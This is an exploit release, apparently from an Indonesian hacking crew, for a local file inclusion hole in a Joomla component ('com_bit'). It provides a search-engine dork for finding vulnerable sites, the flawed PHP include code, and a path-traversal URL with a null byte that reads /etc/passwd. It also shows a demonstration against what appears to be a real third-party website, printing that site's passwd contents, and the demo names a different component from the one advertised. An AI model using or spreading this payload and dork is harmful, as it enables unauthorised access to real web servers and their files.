Joomla Bit Local File Inclusion

`[!]===========================================================================[!]  
  
[~] Joomla Component bit LFI Vulnerability   
[~] Author : Xr0b0t ([email protected])  
[~] Homepage : http://www.indonesiancoder.com | http://Xr0b0t.name | http://mc-crew.info  
[~] Date : 19 Des, 2012  
  
[!]===========================================================================[!]  
  
[ Software Information ]  
  
[+] Vendor : JomLand.com  
[+] Price : free  
[+] Vulnerability : LFI  
[+] Dork : inurl:"com_bit " ;)  
[+] Version : N/A  
  
[!]===========================================================================[!]  
  
[ Vulnerable File ]  
http://127.0.0.1//index.php?option=com_bit&controller=[r0b0t]  
  
[ Code PHP ]  
  
require_once (JPATH_COMPONENT.DS.'controller.php');  
  
// Require specific controller if requested  
if($controller = JRequest::getVar('controller')) {  
require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');   
  
  
[ XpL ]  
  
http://127.0.0.1//index.php?option=com_bit&controller=../../../../../../../../../../../../../../../etc/passwd%00  
  
  
  
  
[ d3m0 ]  
  
http://websitekiemxx.com/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00  
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin  
  
etc etc etc ;]  
  
[!]===========================================================================[!]  
  
[ Thx TO ]  
  
[+] kaMtiEz Ndang Rene...  
[+] INDONESIAN CODER TEAM IndonesianHacker Malang CYber CREW Magelang Cyber  
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot  
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck  
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,Yur4kha,Geni212  
  
  
[ NOTE ]  
  
[+] r0b0t familly never die !!   
  
  
  
[ QUOTE ]  
  
[+] INDONESIANCODER still r0x...  
[+] ARUmBIA TEam Was Here Cuy MINGIR Kabeh KAte lewat ..  
[+] Malang Cyber Crew & Magelang Cyber Community  
`